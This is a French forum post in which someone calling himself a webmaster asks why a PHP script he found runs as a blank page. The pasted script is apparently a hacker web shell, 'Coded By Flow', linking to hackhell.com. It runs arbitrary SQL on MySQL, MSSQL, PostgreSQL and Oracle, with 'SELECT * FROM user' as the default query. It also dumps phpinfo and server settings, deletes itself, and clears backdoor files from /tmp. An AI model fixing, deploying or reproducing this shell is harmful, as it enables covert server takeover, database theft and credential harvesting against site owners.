Bonjour,
J'ai trouvé un script php pour MySql en open source sur un site mais j'arrive pas a le faire fonctionner, je tombe sur une page blanche a son éxécution et le mec qui la fait ne veut pas en dire plus et en tant que webmaster j'aimerais tester ça sur ma base de donnée.
Aidez moi svp ! pourquoi j'ai une page blanche quand je le lance?
<?php
/* Coded By Flow allias WhatElse, you can distribute this script if you want =D*/
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = "1.23";
if(version_compare(phpversion(), '5.1.2') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_SERVER as $k=>$v)
{
$_SERVER[$k] = stripslashes($v);
}
}
$auth = 0;
$name='flow';
$pass='WhatElse';
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
{
header('WWW-Authenticate: Basic realm="shell"');
header('HTTP/1.0 401 Unauthorized');
exit("<b><a href=http://www.hackhell.com>www.hackhell.com</a> : Access Denied</b>");
}
}
$head = '<!-- recup info -->
<html>
<head>
<title>shell</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<STYLE>
tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
.table1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
BACKGROUND-COLOR: #D4D0C8;
}
.td1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
font: 7pt Verdana;
}
.tr1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
}
table {
BORDER-RIGHT: #eeeeee 1px outset;
BORDER-TOP: #eeeeee 1px outset;
BORDER-LEFT: #eeeeee 1px outset;
BORDER-BOTTOM: #eeeeee 1px outset;
BACKGROUND-COLOR: #D4D0C8;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
submit {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
BODY {
margin-top: 1px;
margin-right: 1px;
margin-bottom: 1px;
margin-left: 1px;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>';
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if ($_POST['cmd']=="db_query")
{
echo $head;
switch($_POST['db'])
{
case 'MySQL':
if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
$db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
if($db)
{
if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5){
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
$res = @mysql_query($query,$db);
$error = @mysql_error($db);
if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
else {
if (@mysql_num_rows($res) > 0)
{
$sql2 = $sql = $keys = $values = '';
while (($row = @mysql_fetch_assoc($res)))
{
$keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row));
$values = @array_values($row);
foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values);
$sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>";
}
echo "<table width=100%>";
$sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
$sql .= $sql2;
echo $sql;
echo "</table><br>";
}
else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
}
@mysql_free_result($res);
}
}
@mysql_close($db);
}
else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>";
break;
case 'MSSQL':
if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
$db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
if($db)
{
if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5){
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
$res = @mssql_query($query,$db);
if (@mssql_num_rows($res) > 0)
{
$sql2 = $sql = $keys = $values = '';
while (($row = @mssql_fetch_assoc($res)))
{
$keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row));
$values = @array_values($row);
foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values);
$sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>";
}
echo "<table width=100%>";
$sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
$sql .= $sql2;
echo $sql;
echo "</table><br>";
}
/* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */
@mssql_free_result($res);
}
}
@mssql_close($db);
}
else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>";
break;
case 'PostgreSQL':
if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
$str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
$db = @pg_connect($str);
if($db)
{
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5){
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
$res = @pg_query($db,$query);
$error = @pg_errormessage($db);
if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
else {
if (@pg_num_rows($res) > 0)
{
$sql2 = $sql = $keys = $values = '';
while (($row = @pg_fetch_assoc($res)))
{
$keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", @array_keys($row));
$values = @array_values($row);
foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$values);
$sql2 .= "<tr><td><font face=Verdana size=-2> ".$values." </font></td></tr>";
}
echo "<table width=100%>";
$sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
$sql .= $sql2;
echo $sql;
echo "</table><br>";
}
else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
}
@pg_free_result($res);
}
}
@pg_close($db);
}
else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>";
break;
case 'Oracle':
$db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; }
else
{
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5) {
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
$stat = @ociparse($db, $query);
@ociexecute($stat);
if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; }
else
{
$rowcount = @ocirowcount($stat);
if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";}
else {
echo "<table width=100%><tr>";
for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b> ".htmlspecialchars(@ocicolumnname($stat, $j))." </b></font></td>"; }
echo "</tr>";
while(ocifetch($stat))
{
echo "<tr>";
for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2> ".htmlspecialchars(@ociresult($stat, $j))." </font></td>"; }
echo "</tr>";
}
echo "</table><br>";
}
@ocifreestatement($stat);
}
}
}
@ocilogoff($db);
}
break;
}
echo "<form name=form method=POST>";
echo in('hidden','db',0,$_POST['db']);
echo in('hidden','db_port',0,$_POST['db_port']);
echo in('hidden','mysql_l',0,$_POST['mysql_l']);
echo in('hidden','mysql_p',0,$_POST['mysql_p']);
echo in('hidden','mysql_db',0,$_POST['mysql_db']);
echo in('hidden','cmd',0,'db_query');
echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
echo "</form>";
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
}
if(isset($_GET['delete']))
{
@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
}
if(isset($_GET['tmp']))
{
@unlink("/tmp/bdpl");
@unlink("/tmp/back");
@unlink("/tmp/bd");
@unlink("/tmp/bd.c");
@unlink("/tmp/dp");
@unlink("/tmp/dpc");
@unlink("/tmp/dpc.c");
}
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
{
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
if ($value === null) return 'NULL';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
}
if (@function_exists('ini_get_all'))
{
$r = '';
echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
foreach (@ini_get_all() as $key=>$value)
{
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
}
echo $r;
echo '</table>';
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['cpu']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
$cpuf = @file("cpuinfo");
if($cpuf)
{
$c = @sizeof($cpuf);
for($i=0;$i<$c;$i++)
{
$info = @explode(":",$cpuf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['mem']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
$memf = @file("meminfo");
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
$info = explode(":",$memf[$i]);
if($info[1]==""){ $info[1]="---"; }
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
?>
Afficher la suite